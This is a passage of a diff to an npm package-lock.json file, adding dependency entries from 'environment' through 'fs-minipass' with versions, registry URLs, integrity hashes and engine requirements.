"sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "dev": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es5-ext": { + "version": "0.10.64", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz", + "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==", + "dev": true, + "hasInstallScript": true, + "license": "ISC", + "dependencies": { + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.3", + "esniff": "^2.0.1", + "next-tick": "^1.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", + "dev": true, + "license": "MIT", + "dependencies": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/es6-symbol": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz", + "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==", + "dev": true, + "license": "ISC", + "dependencies": { + "d": "^1.0.2", + "ext": "^1.7.0" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", + "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/esbuild": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.0.tgz", + "integrity": "sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==", + "dev": true, + "hasInstallScript": true, + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.0", + "@esbuild/android-arm": "0.27.0", + "@esbuild/android-arm64": "0.27.0", + "@esbuild/android-x64": "0.27.0", + "@esbuild/darwin-arm64": "0.27.0", + "@esbuild/darwin-x64": "0.27.0", + "@esbuild/freebsd-arm64": "0.27.0", + "@esbuild/freebsd-x64": "0.27.0", + "@esbuild/linux-arm": "0.27.0", + "@esbuild/linux-arm64": "0.27.0", + "@esbuild/linux-ia32": "0.27.0", + "@esbuild/linux-loong64": "0.27.0", + "@esbuild/linux-mips64el": "0.27.0", + "@esbuild/linux-ppc64": "0.27.0", + "@esbuild/linux-riscv64": "0.27.0", + "@esbuild/linux-s390x": "0.27.0", + "@esbuild/linux-x64": "0.27.0", + "@esbuild/netbsd-arm64": "0.27.0", + "@esbuild/netbsd-x64": "0.27.0", + "@esbuild/openbsd-arm64": "0.27.0", + "@esbuild/openbsd-x64": "0.27.0", + "@esbuild/openharmony-arm64": "0.27.0", + "@esbuild/sunos-x64": "0.27.0", + "@esbuild/win32-arm64": "0.27.0", + "@esbuild/win32-ia32": "0.27.0", + "@esbuild/win32-x64": "0.27.0" + } + }, + "node_modules/escalade": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.0.tgz", + "integrity": "sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==", + "dev": true, + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.57.0", + "@humanwhocodes/config-array": "^0.11.14", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-config-prettier": { + "version": "10.1.8", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", + "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", + "dev": true, + "bin": { + "eslint-config-prettier": "bin/cli.js" + }, + "funding": { + "url": "https://opencollective.com/eslint-config-prettier" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-plugin-mocha": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-mocha/-/eslint-plugin-mocha-10.5.0.tgz", + "integrity": "sha512-F2ALmQVPT1GoP27O1JTZGrV9Pqg8k79OeIuvw63UxMtQKREZtmkK1NFgkZQ2TW7L2JSSFKHFPTtHu5z8R9QNRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-utils": "^3.0.0", + "globals": "^13.24.0", + "rambda": "^7.4.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "eslint": ">=7.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-3.0.0.tgz", + "integrity": "sha512-uuQC43IGctw68pJA1RgbQS8/NP7rch6Cwd4j3ZBtgo4/8Flj4eGE7ZYSZRN3iq5pVUv6GPdW5Z1RFleo84uLDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^2.0.0" + }, + "engines": { + "node": "^10.0.0 || ^12.0.0 || >= 14.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/mysticatea" + }, + "peerDependencies": { + "eslint": ">=5" + } + }, + "node_modules/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-2.1.0.tgz", + "integrity": "sha512-0rSmRBzXgDzIsD6mGdJgevzgezI534Cer5L/vyMX0kHzT/jiB43jRhd9YUlMGYLQy2zprNmoT8qasCGtY+QaKw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=10" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esniff": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz", + "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==", + "dev": true, + "license": "ISC", + "dependencies": { + "d": "^1.0.1", + "es5-ext": "^0.10.62", + "event-emitter": "^0.3.5", + "type": "^2.7.2" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/espree": { + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", + "dev": true, + "dependencies": { + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true, + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esquery": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "dev": true, + "dependencies": { + "estraverse": "^5.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-emitter": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", + "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/eventemitter3": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", + "dev": true + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "dev": true, + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/exponential-backoff": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.2.tgz", + "integrity": "sha512-8QxYTVXUkuy7fIIoitQkPwGonB8F3Zj8eEO8Sqg9Zv/bkI7RJAzowee4gr81Hak/dUTpA2Z7VfQgoijjPNlUZA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/ext": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", + "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", + "dev": true, + "license": "ISC", + "dependencies": { + "type": "^2.7.2" + } + }, + "node_modules/fantasticon": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-1.2.3.tgz", + "integrity": "sha512-VoPXI8+wbLq4qooK2LAFRcqKtOCR20+InF/Io/9I1kLp3IT+LwqJgeFijFvp9a3HRZptfCAxNvazoVHn4kihzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "change-case": "^4.1.2", + "cli-color": "^2.0.0", + "commander": "^7.2.0", + "glob": "^7.2.0", + "handlebars": "^4.7.7", + "slugify": "^1.6.0", + "svg2ttf": "^6.0.3", + "svgicons2svgfont": "^10.0.3", + "ttf2eot": "^2.0.0", + "ttf2woff": "^3.0.0", + "ttf2woff2": "^4.0.4" + }, + "bin": { + "fantasticon": "bin/fantasticon" + }, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/fantasticon/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/fantasticon/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==" + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", + "dev": true + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", + "dev": true + }, + "node_modules/fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ] + }, + "node_modules/fastq": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fd-slicer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.1.0.tgz", + "integrity": "sha1-JcfInLH5B3+IkbvmHY85Dq4lbx4=", + "dev": true, + "dependencies": { + "pend": "~1.2.0" + } + }, + "node_modules/fecha": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", + "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", + "dev": true, + "license": "MIT" + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dev": true, + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-type": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-5.2.0.tgz", + "integrity": "sha512-Iq1nJ6D2+yIO4c8HHg4fyVb8mAJieo1Oloy1mLLaB2PvezNedhBVm+QU7g0qM42aiMbRXTxKKwGD17rjKNJYVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "dev": true, + "license": "MIT" + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz", + "integrity": "sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==", + "dev": true, + "bin": { + "flat": "cli.js" + } + }, + "node_modules/flat-cache": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", + "integrity": "sha512-dm9s5Pw7Jc0GvMYbshN6zchCA9RgQlzzEZX3vylR9IqFfS8XciblUXOKfW6SiuJ0e13eDYZoZV5wdrev7P3Nwg==", + "dev": true, + "dependencies": { + "flatted": "^3.1.0", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.4.tgz", + "integrity": "sha512-8/sOawo8tJ4QOBX8YlQBMxL8+RLZfxMQOif9o0KUKTNTjMYElWPE0r/m5VNFxTRd0NSw8qSy8dajrwX4RYI1Hw==", + "dev": true + }, + "node_modules/fn.name": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fn.name/-/fn.name-1.1.0.tgz", + "integrity": "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==", + "dev": true, + "license": "MIT" + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz", + "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==", + "dev": true, + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "dev": true + }, + "node_modules/fs-extra": { + "version": "11.3.2", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.2.tgz", + "integrity": "sha512-Xr9F6z6up6Ws+NjzMCZc6WXg2YFRlrLP9NQDO3VQrWrfiojdhS56TzueT88ze0uBdCTwEIhQ3ptnmKeWGFAe0A==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": 